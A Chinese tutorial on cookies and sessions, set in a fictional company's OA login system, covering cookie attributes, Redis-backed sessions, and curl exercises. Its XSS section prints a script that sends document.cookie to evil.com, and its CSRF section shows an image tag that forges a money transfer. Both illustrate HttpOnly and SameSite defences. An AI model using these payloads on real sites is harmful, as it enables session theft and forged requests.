Cookie与Session状态管理
概念引入
HTTP协议天生"健忘"——每次请求都是独立的,服务器不记得你是谁。就像你去飞翔公司食堂打饭,每次都要重新报工号、姓名、部门,极其繁琐。
Cookie和Session就是解决HTTP"健忘症"的两把钥匙:Cookie像你的工牌(浏览器保存,每次出示),Session像食堂后台的档案柜(服务器保存,工牌上只写档案编号)。今天,我们就以飞翔公司员工登录OA系统的故事,彻底搞懂这对黄金搭档。
核心内容
HTTP的无状态问题
无状态(Stateless):协议本身不保存任何关于客户端的历史请求信息,每次请求都是全新的。
航仔(后端)开发OA系统时遇到难题:用户登录后,下一次点击"我的工资",服务器怎么知道他已经登录过了?
解决方案:给每个用户发一个"身份令牌",后续请求都带上它。
Cookie工作原理
Cookie就像飞翔公司给员工发的电子工牌:
Cookie传输流程:
- 服务器设置:登录成功后,服务器通过
Set-Cookie响应头把Cookie发给浏览器 - 浏览器存储:浏览器把Cookie保存在本地(内存或磁盘)
- 自动携带:之后访问同一域名下的页面,浏览器自动在请求头中带上
Cookie
// 服务器设置Cookie
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Max-Age=3600; Path=/oa; HttpOnly; Secure; SameSite=Lax
// 浏览器后续请求自动携带
GET /oa/salary HTTP/1.1
Host: oa.feixiang.net
Cookie: sessionid=abc123; theme=dark
Cookie关键属性详解
| 属性 | 作用 | 飞翔OA示例 |
|---|---|---|
Max-Age=3600 | Cookie有效期,单位秒 | 登录态保持1小时 |
Expires=Wed, 21 Jun 2024 07:28:00 GMT | 过期时间点(旧方式) | 与Max-Age同时存在时Max-Age优先 |
Path=/oa | 哪些路径下发送Cookie | 仅在OA系统路径下携带 |
Domain=.feixiang.net | 哪些子域名共享Cookie | oa.feixiang.net和hr.feixiang.net共享 |
HttpOnly | 禁止JavaScript读取 | 防止XSS攻击窃取Cookie |
Secure | 仅HTTPS传输 | 禁止明文HTTP携带 |
SameSite=Lax | 控制跨站请求是否发送 | 防御CSRF攻击 |
// 飞翔OA系统的安全Cookie配置
Set-Cookie: sessionid=abc123;
Max-Age=7200;
Path=/oa;
Domain=oa.feixiang.net;
HttpOnly;
Secure;
SameSite=Lax
Session机制:服务器端的"档案柜"
Cookie直接存敏感数据(如用户ID、权限)有风险。Session把数据存在服务器,Cookie只存一个"档案编号"(Session ID)。
Session工作流程:
- 航仔登录成功,服务器创建Session,生成唯一ID(如
abc123) - 服务器将Session数据存在内存/Redis/数据库中
- 通过
Set-Cookie: sessionid=abc123把ID发给浏览器 - 后续请求浏览器带上
sessionid,服务器查档案柜获取完整用户信息
// 伪代码:飞翔OA的Session处理
// 登录时
String sessionId = generateSessionId();
Session session = new Session();
session.setAttribute("user", "航仔");
session.setAttribute("dept", "技术部");
session.setAttribute("role", "后端开发");
redis.set("session:" + sessionId, session, 7200); // 存2小时
response.setHeader("Set-Cookie", "sessionid=" + sessionId + "; HttpOnly; Secure");
// 后续请求时
String sessionId = request.getCookie("sessionid");
Session session = redis.get("session:" + sessionId);
User user = session.getAttribute("user"); // 航仔
Cookie vs Session 对比
| 对比项 | Cookie | Session |
|---|---|---|
| 存储位置 | 浏览器端 | 服务器端 |
| 存储容量 | 约4KB(单个),每个域名约50个 | 理论上无限制(受服务器内存/存储限制) |
| 安全性 | 较低(可被窃取、篡改) | 较高(数据不离开服务器) |
| 性能影响 | 每次请求自动携带,增加流量 | 服务器需维护存储,增加计算压力 |
| 跨域支持 | 受Domain/Path限制 | 需配合Cookie的Session ID传递 |
| 典型用途 | 记住偏好设置、追踪用户 | 登录态、购物车、用户权限 |
图妹(产品经理)总结:"Cookie是用户口袋里的名片,Session是公司前台的访客登记本。名片丢了可以伪造,但登记本在公司手里更安全。"
XSS攻击与HttpOnly防御
XSS(Cross-Site Scripting,跨站脚本攻击):攻击者在网页中注入恶意JavaScript代码,窃取用户Cookie或执行非法操作。
假设飞翔OA系统有个评论区,攻击者发布:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
如果Cookie没有HttpOnly属性,JavaScript可以读取到sessionid,攻击者就能冒充航仔登录!
防御:设置HttpOnly后,document.cookie无法读取该Cookie,就像工牌加了防复印涂层。
// 安全的Cookie:HttpOnly阻止JS读取
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax
CSRF攻击与SameSite防御
CSRF(Cross-Site Request Forgery,跨站请求伪造):攻击者诱导已登录用户访问恶意网站,该网站自动向目标服务器发起请求(利用浏览器自动携带Cookie的特性)。
场景:航仔已登录飞翔OA(Cookie有效)。攻击者发给他一个链接:
<!-- 恶意网站上的图片标签 -->
<img src="https://oa.feixiang.net/transfer?to=attacker&amount=10000" />
浏览器会自动带上航仔的Cookie发起转账请求!
SameSite属性防御:
SameSite=Strict:完全禁止第三方网站携带Cookie(最严格)SameSite=Lax:允许部分安全请求(如GET)携带,禁止POST等修改性操作(推荐)SameSite=None:允许跨站携带,但必须配合Secure(HTTPS)
// 飞翔OA推荐配置
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax
飞翔公司OA登录完整流程
本篇小结
- HTTP是无状态协议,每次请求独立,需要额外机制维持状态
- Cookie存储在浏览器端,由服务器通过
Set-Cookie设置,后续请求自动通过Cookie头携带 - Session存储在服务器端,Cookie只传递Session ID,安全性更高
HttpOnly阻止JavaScript读取Cookie,防御XSS攻击SameSite=Lax/Strict控制跨站请求是否携带Cookie,防御CSRF攻击Secure确保Cookie只在HTTPS下传输,防止中间人窃取- 飞翔OA采用
HttpOnly + Secure + SameSite=Lax的安全Cookie配置,Session数据存储在Redis中
动手实践
温馨提示: 以下实践示例中涉及的域名(如
www.feixiang.net)、公司场景和接口均为虚构数据,仅用于演示协议原理,实际执行时可能不会产生文档中描述的效果。建议将命令中的域名替换为你自己可访问的真实地址进行练习。
实践:用curl观察Cookie交互
# 第一步:登录获取Cookie
curl -c cookies.txt -X POST https://oa.feixiang.net/login \
-d "username=hangzai" \
-d "password=feixiang2024"
# 观察 cookies.txt 文件中保存的Cookie
# 第二步:携带Cookie访问受保护页面
curl -b cookies.txt -I https://oa.feixiang.net/salary
实践:查看浏览器中的Cookie
- 打开Chrome,访问
oa.feixiang.net并登录 - F12 → Application/应用 → Cookies
- 观察飞翔OA的Cookie:
sessionid是否有HttpOnly标记(带✓表示JS无法读取)Secure标记(仅HTTPS)SameSite值
实践:思考题
波比(活动运营)在飞翔官网
www.feixiang.net登录后,发现访问hr.feixiang.net时也需要重新登录。请分析原因,并说明如何通过Cookie的Domain属性解决这个问题。
实践:模拟Session过期
# 登录获取Cookie(有效期假设为5分钟)
curl -c cookies.txt -X POST https://oa.feixiang.net/login -d "username=hangzai" -d "password=***"
# 等待超过5分钟后再次请求
curl -b cookies.txt https://oa.feixiang.net/dashboard
# 观察响应:如果Session已过期,通常会重定向到登录页或返回401